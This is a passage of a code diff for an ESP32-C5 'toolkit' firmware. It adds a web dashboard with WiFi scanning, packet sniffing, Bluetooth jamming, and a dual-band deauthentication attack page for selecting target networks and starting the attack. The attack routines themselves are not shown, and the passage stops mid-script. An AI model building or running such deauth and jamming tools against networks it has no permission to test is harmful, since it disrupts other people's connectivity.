<h2>WIFI NETWORK SCANNER</h2>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">SCAN CONTROLS</div>
|
||||
<button class="btn" id="scan-btn">INITIATE SCAN</button>
|
||||
<button class="btn" id="auto-scan-btn">AUTO SCAN</button>
|
||||
<span class="status-indicator inactive" id="scan-status"></span>
|
||||
<span id="scan-status-text">READY</span>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">SIGNAL STRENGTH DISTRIBUTION</div>
|
||||
<div class="graph-container">
|
||||
<canvas id="rssi-chart"></canvas>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">DETECTED NETWORKS</div>
|
||||
<div id="scan-results">
|
||||
<table id="networks-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>SSID</th>
|
||||
<th>BSSID</th>
|
||||
<th>BAND</th>
|
||||
<th>CH</th>
|
||||
<th>RSSI</th>
|
||||
<th>SECURITY</th>
|
||||
<th>SIGNAL</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Packet Sniffer -->
|
||||
<div id="packet-sniff" class="page">
|
||||
<div class="page-header">
|
||||
<h2>PACKET SNIFFER</h2>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">CAPTURE CONFIGURATION</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">CHANNEL</label>
|
||||
<select class="form-control" id="sniff-channel">
|
||||
<option value="0">ALL CHANNELS (HOPPING)</option>
|
||||
<option value="1">1</option>
|
||||
<option value="2">2</option>
|
||||
<option value="3">3</option>
|
||||
<option value="4">4</option>
|
||||
<option value="5">5</option>
|
||||
<option value="6">6</option>
|
||||
<option value="7">7</option>
|
||||
<option value="8">8</option>
|
||||
<option value="9">9</option>
|
||||
<option value="10">10</option>
|
||||
<option value="11">11</option>
|
||||
<option value="12">12</option>
|
||||
<option value="13">13</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">FILTER TYPE</label>
|
||||
<select class="form-control" id="packet-filter">
|
||||
<option value="all">ALL PACKETS</option>
|
||||
<option value="management">MANAGEMENT FRAMES</option>
|
||||
<option value="data">DATA FRAMES</option>
|
||||
<option value="control">CONTROL FRAMES</option>
|
||||
<option value="beacon">BEACON FRAMES</option>
|
||||
<option value="probe">PROBE REQUESTS/RESPONSES</option>
|
||||
</select>
|
||||
</div>
|
||||
<button class="btn" id="start-sniff">START CAPTURE</button>
|
||||
<button class="btn" id="stop-sniff" disabled>STOP CAPTURE</button>
|
||||
<button class="btn" id="clear-packets">CLEAR LOG</button>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">PACKET FLOW</div>
|
||||
<div class="graph-container">
|
||||
<canvas id="packet-flow-chart"></canvas>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">CAPTURED PACKETS</div>
|
||||
<div class="terminal" id="packet-log"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Bluetooth Scanner -->
|
||||
<div id="bt-scan" class="page">
|
||||
<div class="page-header">
|
||||
<h2>BLUETOOTH SCANNER</h2>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">SCAN CONTROLS</div>
|
||||
<button class="btn" id="bt-scan-btn">START BT SCAN</button>
|
||||
<button class="btn" id="bt-scan-stop-btn" disabled>STOP SCAN</button>
|
||||
<span class="status-indicator inactive" id="bt-scan-status"></span>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">BLUETOOTH DEVICES</div>
|
||||
<table id="bt-devices-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>NAME</th>
|
||||
<th>ADDRESS</th>
|
||||
<th>RSSI</th>
|
||||
<th>TYPE</th>
|
||||
<th>ACTIONS</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody></tbody>
|
||||
</table>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">BLUETOOTH JAMMING</div>
|
||||
<div class="warning-box">
|
||||
WARNING: USE ONLY ON YOUR OWN DEVICES. UNAUTHORIZED JAMMING IS ILLEGAL.
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">TARGET ADDRESS (OPTIONAL)</label>
|
||||
<input type="text" class="form-control" id="bt-jam-target" placeholder="AA:BB:CC:DD:EE:FF">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">DURATION (SECONDS)</label>
|
||||
<input type="number" class="form-control" id="bt-jam-duration" value="30" min="10" max="300">
|
||||
</div>
|
||||
<button class="btn btn-danger" id="bt-jam-start">START JAMMING</button>
|
||||
<button class="btn btn-danger" id="bt-jam-stop" disabled>STOP JAMMING</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Deauth Engine -->
|
||||
<div id="deauth" class="page">
|
||||
<div class="page-header">
|
||||
<h2>DEAUTH ENGINE</h2>
|
||||
</div>
|
||||
<div class="warning-box">
|
||||
WARNING: USE ONLY ON NETWORKS YOU OWN. UNAUTHORIZED USE IS ILLEGAL.
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">TARGET SELECTION</div>
|
||||
<button class="btn" id="deauth-scan-btn">SCAN NETWORKS</button>
|
||||
<div id="deauth-targets"></div>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">ATTACK CONFIGURATION</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">DURATION (SECONDS)</label>
|
||||
<input type="number" class="form-control" id="deauth-duration" value="30" min="10" max="600">
|
||||
</div>
|
||||
<button class="btn btn-danger" id="deauth-start-btn">START ATTACK</button>
|
||||
<button class="btn btn-danger" id="deauth-stop-btn" disabled>STOP ATTACK</button>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">ATTACK STATISTICS</div>
|
||||
<div class="stats-grid">
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">TOTAL PACKETS</div>
|
||||
<div class="stat-value" id="deauth-total">0</div>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">2.4GHZ PACKETS</div>
|
||||
<div class="stat-value" id="deauth-24">0</div>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">5GHZ PACKETS</div>
|
||||
<div class="stat-value" id="deauth-5">0</div>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">ELAPSED TIME</div>
|
||||
<div class="stat-value" id="deauth-time">0s</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Signal Analysis -->
|
||||
<div id="signal-analysis" class="page">
|
||||
<div class="page-header">
|
||||
<h2>SIGNAL ANALYSIS</h2>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">SIGNAL STRENGTH OVER TIME</div>
|
||||
<div class="graph-container">
|
||||
<canvas id="signal-time-chart"></canvas>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">CHANNEL UTILIZATION</div>
|
||||
<div class="graph-container">
|
||||
<canvas id="channel-util-chart"></canvas>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Channel Map -->
|
||||
<div id="channel-map" class="page">
|
||||
<div class="page-header">
|
||||
<h2>CHANNEL MAPPING</h2>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">2.4GHZ BAND</div>
|
||||
<div class="channel-map" id="channel-map-24"></div>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">5GHZ BAND</div>
|
||||
<div class="channel-map" id="channel-map-5"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Settings -->
|
||||
<div id="settings" class="page">
|
||||
<div class="page-header">
|
||||
<h2>SYSTEM CONFIGURATION</h2>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">DEVICE SETTINGS</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">ANTENNA SELECTION</label>
|
||||
<select class="form-control" id="antenna-select">
|
||||
<option value="internal">INTERNAL</option>
|
||||
<option value="external">EXTERNAL</option>
|
||||
</select>
|
||||
</div>
|
||||
<button class="btn" id="save-settings">SAVE SETTINGS</button>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">SYSTEM CONTROL</div>
|
||||
<button class="btn btn-danger" id="reboot-device">REBOOT DEVICE</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Chart.js configurations and data
|
||||
const charts = {};
|
||||
let networkActivityData = { labels: [], datasets: [{ label: 'Networks', data: [], borderColor: '#00ff41', backgroundColor: 'rgba(0,255,65,0.1)' }] };
|
||||
let rssiData = { labels: [], datasets: [{ label: 'RSSI Distribution', data: [], backgroundColor: '#00ff41' }] };
|
||||
let packetFlowData = { labels: [], datasets: [{ label: 'Packets/sec', data: [], borderColor: '#00d4ff' }] };
|
||||
let signalTimeData = { labels: [], datasets: [] };
|
||||
let channelUtilData = { labels: [], datasets: [{ label: 'Utilization %', data: [], backgroundColor: '#00ff41' }] };
|
||||
|
||||
// Initialize charts
|
||||
function initCharts() {
|
||||
charts.networkActivity = new Chart(document.getElementById('network-activity-chart'), {
|
||||
type: 'line',
|
||||
data: networkActivityData,
|
||||
options: {
|
||||
responsive: true,
|
||||
maintainAspectRatio: false,
|
||||
plugins: {
|
||||
legend: { labels: { color: '#00ff41' } }
|
||||
},
|
||||
scales: {
|
||||
x: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } },
|
||||
y: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } }
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
charts.rssi = new Chart(document.getElementById('rssi-chart'), {
|
||||
type: 'bar',
|
||||
data: rssiData,
|
||||
options: {
|
||||
responsive: true,
|
||||
maintainAspectRatio: false,
|
||||
plugins: {
|
||||
legend: { labels: { color: '#00ff41' } }
|
||||
},
|
||||
scales: {
|
||||
x: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } },
|
||||
y: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } }
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
charts.packetFlow = new Chart(document.getElementById('packet-flow-chart'), {
|
||||
type: 'line',
|
||||
data: packetFlowData,
|
||||
options: {
|
||||
responsive: true,
|
||||
maintainAspectRatio: false,
|
||||
plugins: {
|
||||
legend: { labels: { color: '#00d4ff' } }
|
||||
},
|
||||
scales: {
|
||||
x: { ticks: { color: '#00d4ff' }, grid: { color: 'rgba(0,212,255,0.1)' } },
|
||||
y: { ticks: { color: '#00d4ff' }, grid: { color: 'rgba(0,212,255,0.1)' } }
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
charts.signalTime = new Chart(document.getElementById('signal-time-chart'), {
|
||||
type: 'line',
|
||||
data: signalTimeData,
|
||||
options: {
|
||||
responsive: true,
|
||||
maintainAspectRatio: false,
|
||||
plugins: {
|
||||
legend: { labels: { color: '#00ff41' } }
|
||||
},
|
||||
scales: {
|
||||
x: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } },
|
||||
y: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } }
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
charts.channelUtil = new Chart(document.getElementById('channel-util-chart'), {
|
||||
type: 'bar',
|
||||
data: channelUtilData,
|
||||
options: {
|
||||
responsive: true,
|
||||
maintainAspectRatio: false,
|
||||
plugins: {
|
||||
legend: { labels: { color: '#00ff41' } }
|
||||
},
|
||||
scales: {
|
||||
x: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } },
|
||||
y: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' }, max: 100 }
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Navigation
|
||||
document.querySelectorAll('.nav-item').forEach(item => {
|
||||
item.addEventListener('click', () => {
|
||||
document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
|
||||
item.classList.add('active');
|
||||
document.querySelectorAll('.page').forEach(p => p.classList.remove('active'));
|
||||
document.getElementById(item.getAttribute('data-page')).classList.add('active');
|
||||
});
|
||||
});
|
||||
|
||||
// Initialize on load
|
||||
document.addEventListener('DOMContentLoaded', function() {
|
||||
initCharts();
|
||||
loadSystemInfo();
|
||||
updateDashboard();
|
||||
setInterval(updateDashboard, 1000);
|
||||
});
|
||||
|
||||
// API functions and event handlers would go here...
|
||||
// (This is a template - full implementation continues)
|
||||
</script>
|
||||
</body>
|
||||
</html>'''
|
||||
|
||||
# Write the generated HTML
|
||||
with open('enhanced_ui.html', 'w') as f:
|
||||
f.write(html_template)
|
||||
|
||||
print("Enhanced UI generated successfully!")
|
||||
print("File: enhanced_ui.html")
|
||||
print("Size: {} bytes".format(len(html_template)))
|
||||
600
ESP32-C5-Toolkit/main/enhanced_web_server.c
Normal file
600
ESP32-C5-Toolkit/main/enhanced_web_server.c
Normal file
@@ -0,0 +1,600 @@
|
||||
/**
|
||||
* @file enhanced_web_server.c
|
||||
* @brief ESP32-C5 Toolkit - Full Featured Web Interface
|
||||
*
|
||||
* Features from all projects combined:
|
||||
* - Dual-band WiFi Scanner (2.4GHz + 5GHz)
|
||||
* - Dual-band Deauth Engine (simultaneous attack)
|
||||
* - Channel Usage Visualization (Chart.js)
|
||||
* - Signal Analysis & RSSI Graphs
|
||||
* - Packet Sniffer
|
||||
* - Reconnaissance Dashboard
|
||||
*/
|
||||
|
||||
#include "esp_http_server.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_timer.h"
|
||||
#include "cJSON.h"
|
||||
#include "deauth_engine.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define TAG "EnhancedWeb"
|
||||
|
||||
// Store last scan results
|
||||
static wifi_ap_record_t *last_scan_results = NULL;
|
||||
static uint16_t last_scan_count = 0;
|
||||
|
||||
// Store channel stats
|
||||
static int channel_24ghz[14] = {0}; // Channels 1-13 (+1 for index)
|
||||
static int channel_5ghz[200] = {0}; // 5GHz channels indexed by number
|
||||
static int rssi_history[50] = {0}; // Last 50 RSSI readings
|
||||
static int rssi_index = 0;
|
||||
|
||||
// ============================================================================
|
||||
// EMBEDDED HTML - Full Featured Dashboard
|
||||
// ============================================================================
|
||||
static const char* get_enhanced_html(void) {
|
||||
static const char html[] =
|
||||
"<!DOCTYPE html>"
|
||||
"<html lang='en'>"
|
||||
"<head>"
|
||||
"<meta charset='UTF-8'>"
|
||||
"<meta name='viewport' content='width=device-width, initial-scale=1.0'>"
|
||||
"<title>ESP32-C5 TOOLKIT</title>"
|
||||
"<script src='https://cdn.jsdelivr.net/npm/chart.js'></script>"
|
||||
"<style>"
|
||||
"@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap');"
|
||||
"*{margin:0;padding:0;box-sizing:border-box}"
|
||||
":root{"
|
||||
"--primary:#00ff41;--secondary:#00d4ff;--danger:#ff0040;--warning:#ff9800;"
|
||||
"--bg-dark:#0a0a0a;--bg-panel:#111;--border:#00ff41;--text:#00ff41}"
|
||||
"body{font-family:'JetBrains Mono',monospace;background:var(--bg-dark);color:var(--text);overflow-x:hidden}"
|
||||
"body::before{content:'';position:fixed;top:0;left:0;width:100%;height:100%;"
|
||||
"background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,255,65,0.03) 2px,rgba(0,255,65,0.03) 4px);"
|
||||
"pointer-events:none;z-index:0}"
|
||||
".container{display:grid;grid-template-columns:250px 1fr;min-height:100vh;position:relative;z-index:1}"
|
||||
".sidebar{background:var(--bg-panel);border-right:2px solid var(--border);padding:15px 0}"
|
||||
".sidebar h1{padding:15px;font-size:1.2rem;border-bottom:1px solid var(--border);text-align:center;text-shadow:0 0 10px var(--primary)}"
|
||||
".sidebar ul{list-style:none;margin-top:20px}"
|
||||
".sidebar li{padding:12px 20px;cursor:pointer;transition:all 0.3s;border-left:3px solid transparent}"
|
||||
".sidebar li:hover,.sidebar li.active{background:#1a1a1a;border-left-color:var(--primary)}"
|
||||
".sidebar li.active{color:var(--primary);font-weight:bold}"
|
||||
".main{padding:20px;overflow-y:auto}"
|
||||
".page{display:none}.page.active{display:block}"
|
||||
".card{background:var(--bg-panel);border:1px solid var(--border);padding:20px;margin:15px 0;border-radius:5px}"
|
||||
".card h2{margin-bottom:15px;color:var(--primary);border-bottom:1px solid #333;padding-bottom:10px}"
|
||||
".btn{background:var(--bg-panel);color:var(--primary);border:1px solid var(--primary);padding:10px 20px;"
|
||||
"cursor:pointer;font-family:inherit;margin:5px;border-radius:3px;transition:all 0.3s}"
|
||||
".btn:hover{background:var(--primary);color:#000}"
|
||||
".btn-danger{border-color:var(--danger);color:var(--danger)}"
|
||||
".btn-danger:hover{background:var(--danger);color:#fff}"
|
||||
".btn-warning{border-color:var(--warning);color:var(--warning)}"
|
||||
".btn-warning:hover{background:var(--warning);color:#000}"
|
||||
".grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:20px}"
|
||||
".stat-box{text-align:center;padding:20px}"
|
||||
".stat-box .value{font-size:2.5em;color:var(--secondary);text-shadow:0 0 20px var(--secondary)}"
|
||||
".stat-box .label{color:#888;margin-top:5px}"
|
||||
"table{width:100%;border-collapse:collapse;margin:10px 0}"
|
||||
"th,td{border:1px solid #333;padding:10px;text-align:left}"
|
||||
"th{background:#1a1a1a;color:var(--primary)}"
|
||||
"tr:hover{background:#1a1a1a}"
|
||||
".network{padding:10px;border:1px solid #333;margin:5px 0;cursor:pointer;transition:all 0.3s}"
|
||||
".network:hover{border-color:var(--primary);background:#1a1a1a}"
|
||||
".network.selected-24{border-color:#2196F3;background:#1565C0}"
|
||||
".network.selected-5{border-color:var(--warning);background:#663D00}"
|
||||
".band-24{color:#2196F3}.band-5{color:var(--warning)}"
|
||||
".rssi-bar{height:8px;background:#333;border-radius:4px;overflow:hidden}"
|
||||
".rssi-fill{height:100%;transition:width 0.3s}"
|
||||
".chart-container{height:300px;position:relative}"
|
||||
".status-running{color:var(--danger);animation:pulse 1s infinite}"
|
||||
"@keyframes pulse{0%,100%{opacity:1}50%{opacity:0.5}}"
|
||||
".target-card{display:inline-block;padding:15px;margin:10px;border-radius:8px;min-width:200px}"
|
||||
".target-24{background:#1565C0;border:2px solid #2196F3}"
|
||||
".target-5{background:#663D00;border:2px solid var(--warning)}"
|
||||
".warning-box{background:#331111;border:1px solid var(--danger);padding:15px;margin:10px 0;border-radius:5px}"
|
||||
".info-box{background:#112233;border:1px solid var(--secondary);padding:15px;margin:10px 0;border-radius:5px}"
|
||||
"@media(max-width:768px){.container{grid-template-columns:1fr}.sidebar{display:none}}"
|
||||
"</style>"
|
||||
"</head>"
|
||||
"<body>"
|
||||
"<div class='container'>"
|
||||
"<div class='sidebar'>"
|
||||
"<h1>📡 ESP32-C5<br>TOOLKIT</h1>"
|
||||
"<ul id='nav'>"
|
||||
"<li class='active' data-page='dashboard'>📊 Dashboard</li>"
|
||||
"<li data-page='scanner'>🔍 WiFi Scanner</li>"
|
||||
"<li data-page='deauth'>⚡ Deauth Engine</li>"
|
||||
"<li data-page='channels'>📶 Channel Map</li>"
|
||||
"<li data-page='recon'>🕵 Reconnaissance</li>"
|
||||
"<li data-page='settings'>⚙ Settings</li>"
|
||||
"</ul>"
|
||||
"</div>"
|
||||
"<div class='main'>"
|
||||
|
||||
"<!-- DASHBOARD PAGE -->"
|
||||
"<div id='dashboard' class='page active'>"
|
||||
"<h1>📊 System Dashboard</h1>"
|
||||
"<div class='grid'>"
|
||||
"<div class='card stat-box'><div class='value' id='heap'>--</div><div class='label'>Free Heap</div></div>"
|
||||
"<div class='card stat-box'><div class='value' id='networks'>--</div><div class='label'>Networks Found</div></div>"
|
||||
"<div class='card stat-box'><div class='value' id='attack-status'>IDLE</div><div class='label'>Deauth Status</div></div>"
|
||||
"</div>"
|
||||
"<div class='card'><h2>📈 Signal Strength History</h2><div class='chart-container'><canvas id='rssiChart'></canvas></div></div>"
|
||||
"<div class='card'><h2>🌐 Quick Actions</h2>"
|
||||
"<button class='btn' onclick='quickScan()'>🔍 Quick Scan</button>"
|
||||
"<button class='btn' onclick='showPage(\"deauth\")'>⚡ Deauth Engine</button>"
|
||||
"<button class='btn' onclick='showPage(\"channels\")'>📶 Channel Map</button>"
|
||||
"</div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- SCANNER PAGE -->"
|
||||
"<div id='scanner' class='page'>"
|
||||
"<h1>🔍 Dual-Band WiFi Scanner</h1>"
|
||||
"<div class='card'>"
|
||||
"<button class='btn' onclick='scanNetworks()'>🔍 SCAN ALL NETWORKS</button>"
|
||||
"<span id='scan-status' style='margin-left:20px'></span>"
|
||||
"</div>"
|
||||
"<div class='grid'>"
|
||||
"<div class='card'><h2>📶 2.4 GHz Networks</h2><div id='networks-24'></div></div>"
|
||||
"<div class='card'><h2>📡 5 GHz Networks</h2><div id='networks-5'></div></div>"
|
||||
"</div>"
|
||||
"<div class='card'><h2>📋 All Networks</h2><div id='networks-table'></div></div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- DEAUTH PAGE -->"
|
||||
"<div id='deauth' class='page'>"
|
||||
"<h1>⚡ Dual-Band Deauth Engine</h1>"
|
||||
"<div class='warning-box'>⚠ WARNING: Use ONLY on networks YOU OWN! Unauthorized use is ILLEGAL!</div>"
|
||||
"<div class='info-box'>💡 This attacks BOTH 2.4GHz and 5GHz targets SIMULTANEOUSLY by rapid channel switching.<br>"
|
||||
"⚠ WiFi AP will be OFFLINE during attack and auto-restore after.</div>"
|
||||
"<div class='card'><h2>🎯 Selected Targets</h2><div id='targets'><p style='color:#888'>Scan networks first, then select targets</p></div></div>"
|
||||
"<div class='card'><h2>⚙ Attack Configuration</h2>"
|
||||
"<p>Duration: <input type='number' id='duration' value='30' min='10' max='300' style='background:#222;border:1px solid #333;color:#0f0;padding:5px;width:80px'> seconds</p>"
|
||||
"<p style='color:#888;margin-top:10px'>10-300 seconds recommended. AP auto-restores after attack.</p>"
|
||||
"</div>"
|
||||
"<div class='card'>"
|
||||
"<button class='btn btn-danger' onclick='startDeauth()' id='attack-btn'>⚡ START DUAL-BAND ATTACK</button>"
|
||||
"<button class='btn' onclick='stopDeauth()'>🛑 STOP ATTACK</button>"
|
||||
"</div>"
|
||||
"<div class='card'><h2>📊 Attack Statistics</h2><div id='attack-stats'><p style='color:#888'>No attack running</p></div></div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- CHANNEL MAP PAGE -->"
|
||||
"<div id='channels' class='page'>"
|
||||
"<h1>📶 Channel Utilization Map</h1>"
|
||||
"<div class='card'><h2>📶 2.4 GHz Channels (1-13)</h2><div class='chart-container'><canvas id='chart24'></canvas></div></div>"
|
||||
"<div class='card'><h2>📡 5 GHz Channels</h2><div class='chart-container'><canvas id='chart5'></canvas></div></div>"
|
||||
"<div class='card'><h2>📊 Channel Details</h2><div id='channel-details'></div></div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- RECON PAGE -->"
|
||||
"<div id='recon' class='page'>"
|
||||
"<h1>🕵 Network Reconnaissance</h1>"
|
||||
"<div class='card'><h2>📋 Network Intelligence</h2><div id='recon-data'><p style='color:#888'>Scan networks to gather intelligence</p></div></div>"
|
||||
"<div class='card'><h2>🔒 Security Analysis</h2><div id='security-analysis'></div></div>"
|
||||
"<div class='card'><h2>📶 Vendor Detection</h2><div id='vendor-info'></div></div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- SETTINGS PAGE -->"
|
||||
"<div id='settings' class='page'>"
|
||||
"<h1>⚙ System Settings</h1>"
|
||||
"<div class='card'><h2>💻 System Info</h2><div id='sysinfo'>Loading...</div></div>"
|
||||
"<div class='card'><h2>🔄 Device Control</h2><button class='btn btn-danger' onclick='rebootDevice()'>🔄 Reboot Device</button></div>"
|
||||
"</div>"
|
||||
|
||||
"</div></div>"
|
||||
|
||||
"<script>"
|
||||
"let networks=[];let selected24=null;let selected5=null;let charts={};"
|
||||
"let rssiData=Array(20).fill(-100);"
|
||||
|
||||
"// Navigation"
|
||||
"document.querySelectorAll('#nav li').forEach(item=>{"
|
||||
"item.addEventListener('click',()=>showPage(item.dataset.page))"
|
||||
"});"
|
||||
"function showPage(page){"
|
||||
"document.querySelectorAll('#nav li').forEach(i=>i.classList.remove('active'));"
|
||||
"document.querySelectorAll('.page').forEach(p=>p.classList.remove('active'));"
|
||||
"document.querySelector(`[data-page='${page}']`).classList.add('active');"
|
||||
"document.getElementById(page).classList.add('active');"
|
||||
"}"
|
||||
|
||||
"// Charts initialization"
|
||||
"function initCharts(){"
|
||||
"const ctx1=document.getElementById('rssiChart');"
|
||||
"if(ctx1){charts.rssi=new Chart(ctx1,{type:'line',data:{labels:Array(20).fill(''),datasets:[{label:'RSSI',data:rssiData,borderColor:'#00ff41',tension:0.4,fill:true,backgroundColor:'rgba(0,255,65,0.1)'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{min:-100,max:-20}},plugins:{legend:{display:false}}}});}"
|
||||
"const ctx2=document.getElementById('chart24');"
|
||||
"if(ctx2){charts.ch24=new Chart(ctx2,{type:'bar',data:{labels:['1','2','3','4','5','6','7','8','9','10','11','12','13'],datasets:[{label:'Networks',data:Array(13).fill(0),backgroundColor:'#2196F3'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{beginAtZero:true}}}});}"
|
||||
"const ctx3=document.getElementById('chart5');"
|
||||
"if(ctx3){charts.ch5=new Chart(ctx3,{type:'bar',data:{labels:['36','40','44','48','52','56','60','64','100','104','108','112','116','120','124','128','132','136','140','144','149','153','157','161','165'],datasets:[{label:'Networks',data:Array(25).fill(0),backgroundColor:'#ff9800'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{beginAtZero:true}}}});}"
|
||||
"}"
|
||||
|
||||
"// Scan networks"
|
||||
"async function scanNetworks(){"
|
||||
"document.getElementById('scan-status').innerHTML='<span style=\"color:#00d4ff\">Scanning...</span>';"
|
||||
"try{"
|
||||
"const res=await fetch('/api/scan');"
|
||||
"const data=await res.json();"
|
||||
"networks=data.networks||[];"
|
||||
"document.getElementById('scan-status').innerHTML=`<span style=\"color:#00ff41\">Found ${networks.length} networks</span>`;"
|
||||
"updateNetworkDisplay();"
|
||||
"updateChannelCharts();"
|
||||
"updateRecon();"
|
||||
"document.getElementById('networks').textContent=networks.length;"
|
||||
"}catch(e){document.getElementById('scan-status').innerHTML=`<span style=\"color:#ff0040\">Error: ${e}</span>`;}"
|
||||
"}"
|
||||
"function quickScan(){scanNetworks();}"
|
||||
|
||||
"// Update network display"
|
||||
"function updateNetworkDisplay(){"
|
||||
"let html24='',html5='',tableHtml='<table><tr><th>SSID</th><th>BSSID</th><th>CH</th><th>RSSI</th><th>Security</th><th>Select</th></tr>';"
|
||||
"networks.forEach((n,i)=>{"
|
||||
"const is24=(n.channel<=14);"
|
||||
"const rssiPct=Math.min(100,Math.max(0,100+n.rssi));"
|
||||
"const rssiColor=n.rssi>-50?'#00ff41':n.rssi>-70?'#ff9800':'#ff0040';"
|
||||
"const netHtml=`<div class='network ${selected24&&selected24.bssid===n.bssid?'selected-24':''} ${selected5&&selected5.bssid===n.bssid?'selected-5':''}' onclick='selectNetwork(${i})'><strong>${n.ssid||'(Hidden)'}</strong><br><small>CH:${n.channel} | ${n.rssi}dBm | ${n.security||'Unknown'}</small><br><div class='rssi-bar'><div class='rssi-fill' style='width:${rssiPct}%;background:${rssiColor}'></div></div></div>`;"
|
||||
"if(is24)html24+=netHtml;else html5+=netHtml;"
|
||||
"tableHtml+=`<tr><td>${n.ssid||'(Hidden)'}</td><td><code>${n.bssid}</code></td><td class='${is24?'band-24':'band-5'}'>${n.channel}</td><td>${n.rssi}dBm</td><td>${n.security||'?'}</td>`;"
|
||||
"tableHtml+=`<td><button class='btn ${is24?'':'btn-warning'}' onclick='selectNetwork(${i})'>${is24?'2.4GHz':'5GHz'}</button></td></tr>`;"
|
||||
"});"
|
||||
"tableHtml+='</table>';"
|
||||
"document.getElementById('networks-24').innerHTML=html24||'<p style=\"color:#888\">No 2.4GHz networks</p>';"
|
||||
"document.getElementById('networks-5').innerHTML=html5||'<p style=\"color:#888\">No 5GHz networks</p>';"
|
||||
"document.getElementById('networks-table').innerHTML=tableHtml;"
|
||||
"}"
|
||||
|
||||
"// Select network for attack"
|
||||
"function selectNetwork(idx){"
|
||||
"const n=networks[idx];"
|
||||
"if(n.channel<=14){selected24=n;}else{selected5=n;}"
|
||||
"updateTargets();"
|
||||
"updateNetworkDisplay();"
|
||||
"}"
|
||||
"function updateTargets(){"
|
||||
"let html='';"
|
||||
"if(selected24)html+=`<div class='target-card target-24'><strong>📶 2.4GHz Target</strong><br>${selected24.ssid}<br><code>${selected24.bssid}</code><br>CH:${selected24.channel}</div>`;"
|
||||
"if(selected5)html+=`<div class='target-card target-5'><strong>📡 5GHz Target</strong><br>${selected5.ssid}<br><code>${selected5.bssid}</code><br>CH:${selected5.channel}</div>`;"
|
||||
"document.getElementById('targets').innerHTML=html||'<p style=\"color:#888\">No targets selected</p>';"
|
||||
"}"
|
||||
|
||||
"// Update channel charts"
|
||||
"function updateChannelCharts(){"
|
||||
"if(!charts.ch24||!charts.ch5)return;"
|
||||
"const ch24=Array(13).fill(0);"
|
